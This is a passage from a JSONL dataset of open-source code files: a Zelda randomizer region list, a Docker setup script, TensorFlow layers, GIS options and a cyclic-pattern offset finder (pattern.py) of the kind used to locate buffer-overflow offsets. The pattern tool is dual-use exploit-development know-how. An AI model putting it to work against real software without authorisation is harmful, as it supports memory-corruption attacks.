Portal'\n]\n\nmire_regions = [\n 'Mire Lobby', 'Mire Post-Gap', 'Mire 2', 'Mire Hub', 'Mire Hub Right', 'Mire Hub Top', 'Mire Hub Switch',\n 'Mire Lone Shooter', 'Mire Failure Bridge', 'Mire Falling Bridge', 'Mire Map Spike Side', 'Mire Map Spot',\n 'Mire Crystal Dead End', 'Mire Hidden Shooters', 'Mire Hidden Shooters Blocked', 'Mire Cross', 'Mire Minibridge',\n 'Mire BK Door Room', 'Mire Spikes', 'Mire Ledgehop', 'Mire Bent Bridge', 'Mire Over Bridge', 'Mire Right Bridge',\n 'Mire Left Bridge', 'Mire Fishbone', 'Mire South Fish', 'Mire Spike Barrier', 'Mire Square Rail', 'Mire Lone Warp',\n 'Mire Wizzrobe Bypass', 'Mire Conveyor Crystal', 'Mire Tile Room', 'Mire Compass Room', 'Mire Compass Chest',\n 'Mire Neglected Room', 'Mire Chest View', 'Mire Conveyor Barrier', 'Mire BK Chest Ledge', 'Mire Warping Pool',\n 'Mire Torches Top', 'Mire Torches Bottom', 'Mire Attic Hint', 'Mire Dark Shooters', 'Mire Key Rupees',\n 'Mire Block X', 'Mire Tall Dark and Roomy', 'Mire Crystal Right', 'Mire Crystal Mid', 'Mire Crystal Left',\n 'Mire Crystal Top', 'Mire Shooter Rupees', 'Mire Falling Foes', 'Mire Firesnake Skip', 'Mire Antechamber',\n 'Mire Boss', 'Mire Portal'\n]\n\ntr_regions = [\n 'TR Main Lobby', 'TR Lobby Ledge', 'TR Compass Room', 'TR Hub', 'TR Torches Ledge', 'TR Torches', 'TR Roller Room',\n 'TR Tile Room', 'TR Refill', 'TR Pokey 1', 'TR Chain Chomps', 'TR Pipe Pit', 'TR Pipe Ledge', 'TR Lava Dual Pipes',\n 'TR Lava Island', 'TR Lava Escape', 'TR Pokey 2', 'TR Twin Pokeys', 'TR Hallway', 'TR Dodgers', 'TR Big View',\n 'TR Big Chest', 'TR Big Chest Entrance', 'TR Lazy Eyes', 'TR Dash Room', 'TR Tongue Pull', 'TR Rupees',\n 'TR Crystaroller', 'TR Dark Ride', 'TR Dash Bridge', 'TR Eye Bridge', 'TR Crystal Maze', 'TR Crystal Maze End',\n 'TR Final Abyss', 'TR Boss', 'Turtle Rock Main Portal', 'Turtle Rock Lazy Eyes Portal', 'Turtle Rock Chest Portal',\n 'Turtle Rock Eye Bridge Portal'\n]\n\ngt_regions = [\n 'GT Lobby', 'GT Bob\\'s Torch', 'GT Hope Room', 'GT Big Chest', 'GT Blocked Stairs', 'GT Bob\\'s Room',\n 'GT Tile Room', 'GT Speed Torch', 'GT Speed Torch Upper', 'GT Pots n Blocks', 'GT Crystal Conveyor',\n 'GT Compass Room', 'GT Invisible Bridges', 'GT Invisible Catwalk', 'GT Conveyor Cross', 'GT Hookshot East Platform',\n 'GT Hookshot North Platform', 'GT Hookshot South Platform', 'GT Hookshot South Entry', 'GT Map Room',\n 'GT Double Switch Entry', 'GT Double Switch Switches', 'GT Double Switch Transition', 'GT Double Switch Key Spot',\n 'GT Double Switch Exit', 'GT Spike Crystals', 'GT Warp Maze - Left Section', 'GT Warp Maze - Mid Section',\n 'GT Warp Maze - Right Section', 'GT Warp Maze - Pit Section', 'GT Warp Maze - Pit Exit Warp Spot',\n 'GT Warp Maze Exit Section', 'GT Firesnake Room', 'GT Firesnake Room Ledge', 'GT Warp Maze - Rail Choice',\n 'GT Warp Maze - Rando Rail', 'GT Warp Maze - Main Rails', 'GT Warp Maze - Pot Rail', 'GT Petting Zoo',\n 'GT Conveyor Star Pits', 'GT Hidden Star', 'GT DMs Room', 'GT Falling Bridge', 'GT Randomizer Room', 'GT Ice Armos',\n 'GT Big Key Room', 'GT Four Torches', 'GT Fairy Abyss', 'GT Crystal Paths', 'GT Mimics 1', 'GT Mimics 2',\n 'GT Dash Hall', 'GT Hidden Spikes', 'GT Cannonball Bridge', 'GT Refill', 'GT Gauntlet 1', 'GT Gauntlet 2',\n 'GT Gauntlet 3', 'GT Gauntlet 4', 'GT Gauntlet 5', 'GT Beam Dash', 'GT Lanmolas 2', 'GT Quad Pot', 'GT Wizzrobes 1',\n 'GT Dashing Bridge', 'GT Wizzrobes 2', 'GT Conveyor Bridge', 'GT Torch Cross', 'GT Staredown', 'GT Falling Torches',\n 'GT Mini Helmasaur Room', 'GT Bomb Conveyor', 'GT Crystal Circles', 'GT Left Moldorm Ledge',\n 'GT Right Moldorm Ledge', 'GT Moldorm', 'GT Moldorm Pit', 'GT Validation', 'GT Validation Door', 'GT Frozen Over',\n 'GT Brightly Lit Hall', 'GT Agahnim 2', 'Ganons Tower Portal'\n]\n\n\ndungeon_regions = {\n 'Hyrule Castle': hyrule_castle_regions,\n 'Eastern Palace': eastern_regions,\n 'Desert Palace': desert_regions,\n 'Tower of Hera': hera_regions,\n 'Agahnims Tower': tower_regions,\n 'Palace of Darkness': pod_regions,\n 'Swamp Palace': swamp_regions,\n 'Skull Woods': skull_regions,\n 'Thieves Town': thieves_regions,\n 'Ice Palace': ice_regions,\n 'Misery Mire': mire_regions,\n 'Turtle Rock': tr_regions,\n 'Ganons Tower': gt_regions\n}\n\nregion_starts = {\n 'Hyrule Castle': ['Hyrule Castle Lobby', 'Hyrule Castle West Lobby', 'Hyrule Castle East Lobby', 'Sewers Rat Path', 'Sanctuary'],\n 'Eastern Palace': ['Eastern Lobby'],\n 'Desert Palace': ['Desert Back Lobby', 'Desert Main Lobby', 'Desert West Lobby', 'Desert East Lobby'],\n 'Tower of Hera': ['Hera Lobby'],\n 'Agahnims Tower': ['Tower Lobby'],\n 'Palace of Darkness': ['PoD Lobby'],\n 'Swamp Palace': ['Swamp Lobby'],\n 'Skull Woods': ['Skull 1 Lobby', 'Skull 2 East Lobby', 'Skull 2 West Lobby', 'Skull 3 Lobby', 'Skull Pot Circle',\n 'Skull Pinball', 'Skull Left Drop', 'Skull Back Drop'],\n 'Thieves Town': ['Thieves Lobby'],\n 'Ice Palace': ['Ice Lobby'],\n 'Misery Mire': ['Mire Lobby'],\n 'Turtle Rock': ['TR Main Lobby', 'TR Lazy Eyes', 'TR Big Chest Entrance', 'TR Eye Bridge'],\n 'Ganons Tower': ['GT Lobby']\n}\n\nstandard_starts = {\n 'Hyrule Castle': ['Hyrule Castle South']\n}\n\nsplit_region_starts = {\n 'Desert Palace': {\n 'Back': ['Desert Back Lobby'],\n 'Main': ['Desert Main Lobby', 'Desert West Lobby', 'Desert East Lobby']\n },\n 'Skull Woods': {\n '1': ['Skull 1 Lobby', 'Skull Pot Circle'],\n '2': ['Skull 2 West Lobby', 'Skull 2 East Lobby', 'Skull Back Drop'],\n '3': ['Skull 3 Lobby']\n }\n}\n\nflexible_starts = {\n 'Skull Woods': ['Skull Left Drop', 'Skull Pinball']\n}\n\ndungeon_keys = {\n 'Hyrule Castle': 'Small Key (Escape)',\n 'Eastern Palace': 'Small Key (Eastern Palace)',\n 'Desert Palace': 'Small Key (Desert Palace)',\n 'Tower of Hera': 'Small Key (Tower of Hera)',\n 'Agahnims Tower': 'Small Key (Agahnims Tower)',\n 'Palace of Darkness': 'Small Key (Palace of Darkness)',\n 'Swamp Palace': 'Small Key (Swamp Palace)',\n 'Skull Woods': 'Small Key (Skull Woods)',\n 'Thieves Town': 'Small Key (Thieves Town)',\n 'Ice Palace': 'Small Key (Ice Palace)',\n 'Misery Mire': 'Small Key (Misery Mire)',\n 'Turtle Rock': 'Small Key (Turtle Rock)',\n 'Ganons Tower': 'Small Key (Ganons Tower)'\n}\n\ndungeon_bigs = {\n 'Hyrule Castle': 'Big Key (Escape)',\n 'Eastern Palace': 'Big Key (Eastern Palace)',\n 'Desert Palace': 'Big Key (Desert Palace)',\n 'Tower of Hera': 'Big Key (Tower of Hera)',\n 'Agahnims Tower': 'Big Key (Agahnims Tower)',\n 'Palace of Darkness': 'Big Key (Palace of Darkness)',\n 'Swamp Palace': 'Big Key (Swamp Palace)',\n 'Skull Woods': 'Big Key (Skull Woods)',\n 'Thieves Town': 'Big Key (Thieves Town)',\n 'Ice Palace': 'Big Key (Ice Palace)',\n 'Misery Mire': 'Big Key (Misery Mire)',\n 'Turtle Rock': 'Big Key (Turtle Rock)',\n 'Ganons Tower': 'Big Key (Ganons Tower)'\n}\n\ndungeon_hints = {\n 'Hyrule Castle': 'in Hyrule Castle',\n 'Eastern Palace': 'in Eastern Palace',\n 'Desert Palace': 'in Desert Palace',\n 'Tower of Hera': 'in Tower of Hera',\n 'Agahnims Tower': 'in Castle Tower',\n 'Palace of Darkness': 'in Palace of Darkness',\n 'Swamp Palace': 'in Swamp Palace',\n 'Skull Woods': 'in Skull Woods',\n 'Thieves Town': 'in Thieves\\' Town',\n 'Ice Palace': 'in Ice Palace',\n 'Misery Mire': 'in Misery Mire',\n 'Turtle Rock': 'in Turtle Rock',\n 'Ganons Tower': 'in Ganon\\'s Tower'\n}\n\n", "source": "StructuralMike/ALttPDoorRandomizer", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n#usage\n#$> pattern.py 100\n#Aa0Aa0Aa1Aa1Aa2Aa2Aa3Aa3Aa4Aa4Aa5Aa5Aa6Aa6Aa7Aa7Aa8Aa8Aa9Aa9Ab0Ab0Ab1Ab1Ab2Ab\n#2Ab3Ab3Ab4Ab4Ab5Ab5Ab6A\n#And to search for a pattern / offset:\n#$> pattern.py Bf4\n#Pattern Bf4 first occurrence at position 942 in pattern.\n#$> pattern.py Bf4B\n#Pattern Bf4B first occurrence at position 942 in pattern.\n#$> pattern.py 0x42346642\n#Pattern 0x42346642 first occurrence at position 942 in pattern.\n\nimport sys\nfrom string import ascii_uppercase, ascii_lowercase, digits\n\nMAX_PATTERN_LENGTH = 20280\n\nclass MaxLengthException(Exception):\n pass\n\nclass WasNotFoundException(Exception):\n pass\n\n\ndef pattern_gen(length):\n \"\"\"\n Generate a pattern of a given length up to a maximum\n of 20280 - after this the pattern would repeat\n \"\"\"\n if length >= MAX_PATTERN_LENGTH:\n raise MaxLengthException('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH)\n\n pattern = ''\n for upper in ascii_uppercase:\n for lower in ascii_lowercase:\n for digit in digits:\n if len(pattern) < length:\n pattern += upper+lower+digit\n else:\n out = pattern[:length]\n return out\n\n\ndef pattern_search(search_pattern):\n \"\"\"\n Search for search_pattern in pattern. Convert from hex if needed\n Looking for needle in haystack\n \"\"\"\n needle = search_pattern\n\n try:\n if needle.startswith('0x'):\n # Strip off '0x', convert to ASCII and reverse\n needle = needle[2:]\n needle = bytes.fromhex(needle).decode('ascii')\n needle = needle[::-1]\n except TypeError as e:\n print('Unable to convert hex input:', e)\n sys.exit(1)\n #e.args(e.args[0] + 'Unable to convert to hex input') \n #raise\n\n haystack = ''\n for upper in ascii_uppercase:\n for lower in ascii_lowercase:\n for digit in digits:\n haystack += upper+lower+digit\n found_at = haystack.find(needle)\n if found_at > -1:\n return found_at\n\n raise WasNotFoundException('Couldn`t find %s (%s) anywhere in the pattern.' %\n (search_pattern, needle))\n\n\ndef print_help():\n print('Usage: %s LENGTH|PATTERN' % sys.argv[0])\n print()\n print('Generate a pattern of length LENGTH or search for PATTERN and ')\n print('return its position in the pattern.')\n print()\n sys.exit(0)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print_help()\n\n if sys.argv[1].isdigit():\n pat = pattern_gen(int(sys.argv[1]))\n print(pat)\n else:\n found = pattern_search(sys.argv[1])\n print('Pattern %s first occurrence at position %d in pattern.' %\n (sys.argv[1], found))\n", "source": "cys3c/viper-shell", "license": "PSF-2.0"}
+{"text": "\"\"\"Brings up a set of Global Registry nodes along with databases.\nThey can create separate clusters.\n\"\"\"\n\nimport copy\nimport json\n\nimport common\nimport docker\n\n\ndef _tweak_config(config, name, uid):\n cfg = copy.deepcopy(config)\n cfg['nodes'] = {'node': cfg['nodes'][name]}\n\n sys_config = cfg['nodes']['node']['sys.config']\n sys_config['db_nodes'] = [common.format_nodename(n, uid) for n in\n sys_config['db_nodes']]\n\n vm_args = cfg['nodes']['node']['vm.args']\n vm_args['name'] = common.format_nodename(vm_args['name'], uid)\n\n return cfg\n\n\ndef _node_up(image, bindir, uid, config, dns_servers):\n node_name = config['nodes']['node']['vm.args']['name']\n cookie = config['nodes']['node']['vm.args']['setcookie']\n db_nodes = config['nodes']['node']['sys.config']['db_nodes']\n\n (gr_name, sep, gr_hostname) = node_name.partition('@')\n gr_dockername = common.format_dockername(gr_name, uid)\n\n gr_command = '''set -e\ncat <<\"EOF\" > /tmp/gen_dev_args.json\n{gen_dev_args}\nEOF\nescript bamboos/gen_dev/gen_dev.escript /tmp/gen_dev_args.json\n/root/bin/node/bin/globalregistry console'''\n gr_command = gr_command.format(\n gen_dev_args=json.dumps({'globalregistry': config}))\n\n # Start DB node for current GR instance.\n # Currently, only one DB node for GR is allowed, because we are using links.\n # It's impossible to create a bigcouch cluster with docker's links.\n db_node = db_nodes[0]\n (db_name, sep, db_hostname) = db_node.partition('@')\n db_dockername = common.format_dockername(db_name, uid)\n\n db_command = '''echo '[httpd]' > /opt/bigcouch/etc/local.ini\necho 'bind_address = 0.0.0.0' >> /opt/bigcouch/etc/local.ini\nsed -i 's/-name bigcouch/-name {name}@{host}/g' /opt/bigcouch/etc/vm.args\nsed -i 's/-setcookie monster/-setcookie {cookie}/g' /opt/bigcouch/etc/vm.args\n/opt/bigcouch/bin/bigcouch'''\n db_command = db_command.format(name=db_name, host=db_hostname,\n cookie=cookie)\n\n bigcouch = docker.run(\n image='onedata/bigcouch',\n detach=True,\n name=db_dockername,\n hostname=db_hostname,\n command=db_command)\n\n gr = docker.run(\n image=image,\n hostname=gr_hostname,\n detach=True,\n interactive=True,\n tty=True,\n workdir='/root/build',\n name=gr_dockername,\n volumes=[(bindir, '/root/build', 'ro')],\n dns_list=dns_servers,\n link={db_dockername: db_hostname},\n command=gr_command)\n\n return {\n 'docker_ids': [bigcouch, gr],\n 'gr_db_nodes': ['{0}@{1}'.format(db_name, db_hostname)],\n 'gr_nodes': ['{0}@{1}'.format(gr_name, gr_hostname)]\n }\n\n\ndef up(image, bindir, dns, uid, config_path):\n config = common.parse_json_file(config_path)['globalregistry']\n config['config']['target_dir'] = '/root/bin'\n configs = [_tweak_config(config, node, uid) for node in config['nodes']]\n\n dns_servers, output = common.set_up_dns(dns, uid)\n\n for cfg in configs:\n node_out = _node_up(image, bindir, uid, cfg, dns_servers)\n common.merge(output, node_out)\n\n return output\n", "source": "xorver/oneprovider-ccm", "license": "MIT"}
+{"text": "# -*- coding:utf-8 -*-\n\"\"\"\n\nAuthor:\n Weichen Shen,weichenswc@163.com\n\n\"\"\"\nimport tensorflow as tf\nfrom tensorflow.python.keras.layers import Flatten\nfrom tensorflow.python.ops.lookup_ops import TextFileInitializer\n\ntry:\n from tensorflow.python.ops.lookup_ops import StaticHashTable\nexcept ImportError:\n from tensorflow.python.ops.lookup_ops import HashTable as StaticHashTable\n\n\nclass NoMask(tf.keras.layers.Layer):\n def __init__(self, **kwargs):\n super(NoMask, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(NoMask, self).build(input_shape)\n\n def call(self, x, mask=None, **kwargs):\n return x\n\n def compute_mask(self, inputs, mask):\n return None\n\n\nclass Hash(tf.keras.layers.Layer):\n \"\"\"Looks up keys in a table when setup `vocabulary_path`, which outputs the corresponding values.\n If `vocabulary_path` is not set, `Hash` will hash the input to [0,num_buckets). When `mask_zero` = True,\n input value `0` or `0.0` will be set to `0`, and other value will be set in range [1,num_buckets).\n\n The following snippet initializes a `Hash` with `vocabulary_path` file with the first column as keys and\n second column as values:\n\n * `1,emerson`\n * `2,lake`\n * `3,palmer`\n\n >>> hash = Hash(\n ... num_buckets=3+1,\n ... vocabulary_path=filename,\n ... default_value=0)\n >>> hash(tf.constant('lake')).numpy()\n 2\n >>> hash(tf.constant('lakeemerson')).numpy()\n 0\n\n Args:\n num_buckets: An `int` that is >= 1. The number of buckets or the vocabulary size + 1\n when `vocabulary_path` is setup.\n mask_zero: default is False. The `Hash` value will hash input `0` or `0.0` to value `0` when\n the `mask_zero` is `True`. `mask_zero` is not used when `vocabulary_path` is setup.\n vocabulary_path: default `None`. The `CSV` text file path of the vocabulary hash, which contains\n two columns seperated by delimiter `comma`, the first column is the value and the second is\n the key. The key data type is `string`, the value data type is `int`. The path must\n be accessible from wherever `Hash` is initialized.\n default_value: default '0'. The default value if a key is missing in the table.\n **kwargs: Additional keyword arguments.\n \"\"\"\n\n def __init__(self, num_buckets, mask_zero=False, vocabulary_path=None, default_value=0, **kwargs):\n self.num_buckets = num_buckets\n self.mask_zero = mask_zero\n self.vocabulary_path = vocabulary_path\n self.default_value = default_value\n if self.vocabulary_path:\n initializer = TextFileInitializer(vocabulary_path, 'string', 1, 'int64', 0, delimiter=',')\n self.hash_table = StaticHashTable(initializer, default_value=self.default_value)\n super(Hash, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(Hash, self).build(input_shape)\n\n def call(self, x, mask=None, **kwargs):\n\n if x.dtype != tf.string:\n zero = tf.as_string(tf.zeros([1], dtype=x.dtype))\n x = tf.as_string(x, )\n else:\n zero = tf.as_string(tf.zeros([1], dtype='int32'))\n\n if self.vocabulary_path:\n hash_x = self.hash_table.lookup(x)\n return hash_x\n\n num_buckets = self.num_buckets if not self.mask_zero else self.num_buckets - 1\n try:\n hash_x = tf.string_to_hash_bucket_fast(x, num_buckets,\n name=None) # weak hash\n except AttributeError:\n hash_x = tf.strings.to_hash_bucket_fast(x, num_buckets,\n name=None) # weak hash\n if self.mask_zero:\n mask = tf.cast(tf.not_equal(x, zero), dtype='int64')\n hash_x = (hash_x + 1) * mask\n\n return hash_x\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n def get_config(self, ):\n config = {'num_buckets': self.num_buckets, 'mask_zero': self.mask_zero, 'vocabulary_path': self.vocabulary_path,\n 'default_value': self.default_value}\n base_config = super(Hash, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\nclass Linear(tf.keras.layers.Layer):\n\n def __init__(self, l2_reg=0.0, mode=0, use_bias=False, seed=1024, **kwargs):\n\n self.l2_reg = l2_reg\n # self.l2_reg = tf.contrib.layers.l2_regularizer(float(l2_reg_linear))\n if mode not in [0, 1, 2]:\n raise ValueError(\"mode must be 0,1 or 2\")\n self.mode = mode\n self.use_bias = use_bias\n self.seed = seed\n super(Linear, self).__init__(**kwargs)\n\n def build(self, input_shape):\n if self.use_bias:\n self.bias = self.add_weight(name='linear_bias',\n shape=(1,),\n initializer=tf.keras.initializers.Zeros(),\n trainable=True)\n if self.mode == 1:\n self.kernel = self.add_weight(\n 'linear_kernel',\n shape=[int(input_shape[-1]), 1],\n initializer=tf.keras.initializers.glorot_normal(self.seed),\n regularizer=tf.keras.regularizers.l2(self.l2_reg),\n trainable=True)\n elif self.mode == 2:\n self.kernel = self.add_weight(\n 'linear_kernel',\n shape=[int(input_shape[1][-1]), 1],\n initializer=tf.keras.initializers.glorot_normal(self.seed),\n regularizer=tf.keras.regularizers.l2(self.l2_reg),\n trainable=True)\n\n super(Linear, self).build(input_shape) # Be sure to call this somewhere!\n\n def call(self, inputs, **kwargs):\n if self.mode == 0:\n sparse_input = inputs\n linear_logit = reduce_sum(sparse_input, axis=-1, keep_dims=True)\n elif self.mode == 1:\n dense_input = inputs\n fc = tf.tensordot(dense_input, self.kernel, axes=(-1, 0))\n linear_logit = fc\n else:\n sparse_input, dense_input = inputs\n fc = tf.tensordot(dense_input, self.kernel, axes=(-1, 0))\n linear_logit = reduce_sum(sparse_input, axis=-1, keep_dims=False) + fc\n if self.use_bias:\n linear_logit += self.bias\n\n return linear_logit\n\n def compute_output_shape(self, input_shape):\n return (None, 1)\n\n def compute_mask(self, inputs, mask):\n return None\n\n def get_config(self, ):\n config = {'mode': self.mode, 'l2_reg': self.l2_reg, 'use_bias': self.use_bias, 'seed': self.seed}\n base_config = super(Linear, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\ndef concat_func(inputs, axis=-1, mask=False):\n if not mask:\n inputs = list(map(NoMask(), inputs))\n if len(inputs) == 1:\n return inputs[0]\n else:\n return tf.keras.layers.Concatenate(axis=axis)(inputs)\n\n\ndef reduce_mean(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_mean(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_mean(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef reduce_sum(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_sum(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_sum(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef reduce_max(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_max(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_max(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef div(x, y, name=None):\n try:\n return tf.div(x, y, name=name)\n except AttributeError:\n return tf.divide(x, y, name=name)\n\n\ndef softmax(logits, dim=-1, name=None):\n try:\n return tf.nn.softmax(logits, dim=dim, name=name)\n except TypeError:\n return tf.nn.softmax(logits, axis=dim, name=name)\n\n\nclass Add(tf.keras.layers.Layer):\n def __init__(self, **kwargs):\n super(Add, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(Add, self).build(input_shape)\n\n def call(self, inputs, **kwargs):\n if not isinstance(inputs, list):\n return inputs\n if len(inputs) == 1:\n return inputs[0]\n if len(inputs) == 0:\n return tf.constant([[0.0]])\n\n return tf.keras.layers.add(inputs)\n\n\ndef add_func(inputs):\n return Add()(inputs)\n\n\ndef combined_dnn_input(sparse_embedding_list, dense_value_list):\n if len(sparse_embedding_list) > 0 and len(dense_value_list) > 0:\n sparse_dnn_input = Flatten()(concat_func(sparse_embedding_list))\n dense_dnn_input = Flatten()(concat_func(dense_value_list))\n return concat_func([sparse_dnn_input, dense_dnn_input])\n elif len(sparse_embedding_list) > 0:\n return Flatten()(concat_func(sparse_embedding_list))\n elif len(dense_value_list) > 0:\n return Flatten()(concat_func(dense_value_list))\n else:\n raise NotImplementedError(\"dnn_feature_columns can not be empty list\")\n", "source": "dzzxjl/DeepCTR", "license": "Apache-2.0"}
+{"text": "# ===============================================================================\n# Copyright 2020 ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\nimport csv\nimport os\n\nfrom traits.api import Str, Enum, Dict, File, Float, Range, List, HasTraits, Button, Int, Color, Bool, on_trait_change\nfrom traitsui.api import HGroup, Item, View, UItem\nfrom traitsui.editors import EnumEditor\nfrom traitsui.item import spring\n\nfrom pychron.base_fs import BaseFS\nfrom pychron.core.pychron_traits import BorderVGroup, BorderHGroup\nfrom pychron.gis.views import VIEWS\nfrom pychron.options.group.base_group_options import BaseGroupOptions\nfrom pychron.options.options import BaseOptions, GroupMixin\nfrom pychron.options.options_manager import OptionsManager\nfrom pychron.pychron_constants import MAIN\n\n\ndef make_uri(url, t='xyz', zmax=19, zmin=5):\n return 'type={}&url={}&zmax={}&zmin={}'.format(t, url, zmax, zmin)\n\n\nMARKERS = 'Square', 'Circle', 'Pentagon', 'Triangle', 'Star'\n\nPREDEFINED = {\"OpenStreetMap\": make_uri('https://tile.openstreetmap.org/{z}/{x}/{y}.png'),\n 'OpenTopoMap': make_uri('http://a.tile.opentopomap.org/{z}/{x}/{y}.png'),\n 'Stamen Terrain': make_uri('http://a.tile.stamen.com/terrain/{z}/{x}/{y}.png'),\n 'Stamen Toner': make_uri('http://a.tile.stamen.com/toner/{z}/{x}/{y}.png'),\n 'USGS Satellite': make_uri('https://basemap.nationalmap.gov/arcgis/rest/services/'\n 'USGSImageryOnly/MapServer/tile/{Z}/{Y}/{X}'),\n 'Hillshade': make_uri('http://tiles.wmflabs.org/hillshading/{z}/{x}/{y}.png')\n }\n\n\ndef extract_url(uri):\n args = uri.split('&')\n for a in args:\n if a.startswith('url='):\n return a[4:]\n\n\nclass GISGroup(BaseGroupOptions):\n marker = Enum(MARKERS)\n marker_size = Float\n angle = Range(0, 360, 0)\n opacity = Range(0.0, 1.0, 1.0)\n\n def todict(self):\n return {'name': self.marker.lower(),\n 'size': str(self.marker_size),\n 'color': self.color.name(),\n 'angle': str(self.angle),\n 'opacity': str(self.opacity)}\n\n def traits_view(self):\n g = BorderVGroup(HGroup(Item('marker'),\n UItem('marker_size'), Item('angle')),\n HGroup(UItem('color'), Item('opacity')),\n label='Group {}'.format(self.group_id + 1))\n v = View(g)\n return v\n\n\nclass LayerOption(HasTraits):\n path = File\n label = Str\n is_vector = False\n visible = Bool(True)\n remove_layer_button = Button('Remove Layer')\n\n @property\n def uri(self):\n raise NotImplementedError\n\n\nclass VectorLayerOption(LayerOption):\n is_vector = True\n size = Int\n kind = Enum(MARKERS)\n color = Color\n\n @property\n def symbolargs(self):\n return {'name': self.kind.lower(), 'size': str(self.size), 'color': self.color.name()}\n\n\nclass CSVLayerOption(VectorLayerOption):\n provider = 'delimitedtext'\n xfield = Str\n yfield = Str\n _fields = List\n\n def __init__(self, *args, **kw):\n super(CSVLayerOption, self).__init__(*args, **kw)\n self._parse()\n\n @property\n def uri(self):\n return 'file://{}?delimiter={}&xField={}&yField={}'.format(self.path,\n self.delimiter,\n self.xfield, self.yfield)\n\n def _parse(self):\n self.label = os.path.basename(self.path)\n with open(self.path, 'r') as rfile:\n dialect = csv.Sniffer().sniff(rfile.read(1024))\n rfile.seek(0)\n reader = csv.DictReader(rfile, dialect=dialect)\n self._fields = reader.fieldnames\n self.delimiter = dialect.delimiter\n\n def traits_view(self):\n v = View(BorderVGroup(Item('path'),\n HGroup(Item('xfield', editor=EnumEditor(name='_fields')),\n Item('yfield', editor=EnumEditor(name='_fields'))),\n BorderHGroup(Item('kind'), Item('size'), UItem('color'), label='symbol'),\n HGroup(UItem('remove_layer_button'), spring)))\n return v\n\n\nclass OGRLayerOption(VectorLayerOption):\n provider = 'ogr'\n\n def __init__(self, *args, **kw):\n super(OGRLayerOption, self).__init__(*args, **kw)\n if self.path:\n self.label = os.path.basename(self.path)\n\n @property\n def uri(self):\n return self.path\n\n def traits_view(self):\n v = View(BorderVGroup(Item('path'),\n BorderHGroup(Item('kind'), Item('size'), UItem('color'), label='symbol'),\n HGroup(UItem('remove_layer_button'), spring)))\n return v\n\n\nclass GPXLayerOption(VectorLayerOption):\n provider = 'gpx'\n kind = Str\n\n @property\n def uri(self):\n return '{}?type={}'.format(self.path, self.kind)\n\n\nclass GISOptions(BaseOptions, GroupMixin, BaseFS):\n basemap_uri = Str('type=xyz&url=https://tile.openstreetmap.org/{z}/{x}/{y}.png&zmax=19&zmin=5')\n basemap_uri_template = Enum(list(PREDEFINED.keys()), transient=True)\n basemap_path = File\n\n layers = List\n # symbol_size = Int(5)\n # symbol_color = Color('blue')\n # symbol_kind = Enum('circle', 'square')\n group_options_klass = GISGroup\n grouping_attribute = Enum('Material',\n 'Sample',\n 'Comment',\n 'SubGroup',\n 'Group Name',\n 'Label Name',\n 'No Grouping')\n\n _predefined = Dict(transient=True)\n\n _suppress_template_update = False\n\n add_layer_button = Button('Add Layer', transient=True)\n\n def _get_tags(self):\n return ('layers',)\n\n def _add_layer_button_fired(self):\n p = self.open_file_dialog()\n if p:\n if p.endswith('.csv') or p.endswith('.txt'):\n # layer = CSVLayerOption(path=p)\n klass = CSVLayerOption\n elif p.endswith('.shp'):\n klass = OGRLayerOption\n # layer = OGRLayerOption(path=p)\n else:\n klass = LayerOption\n # layer = LayerOption(path=p)\n layer = klass(path=p)\n self.layers.append(layer)\n\n @on_trait_change('layers:remove_layer_button')\n def _handle_remove_layer(self, layer, name, old, new):\n self.layers.remove(layer)\n\n def get_feature_options(self, gid):\n n = len(self.groups)\n gid = gid % n\n fg = self.groups[gid]\n return fg.todict()\n\n def _basemap_uri_changed(self, new):\n n = extract_url(new)\n for k, v in PREDEFINED.items():\n if n == extract_url(v):\n self._suppress_template_update = True\n self.basemap_uri_template = k\n self._suppress_template_update = False\n\n def _basemap_path_changed(self, new):\n self.basemap_uri = new\n\n def _basemap_uri_template_changed(self, new):\n if self._suppress_template_update:\n return\n\n self.basemap_uri = PREDEFINED.get(new, '')\n\n def initialize(self):\n self.subview_names = [MAIN, 'Groups', 'Layers']\n\n def _get_subview(self, name):\n return VIEWS[name]\n\n\nclass GISOptionsManager(OptionsManager):\n id = 'gis'\n options_klass = GISOptions\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
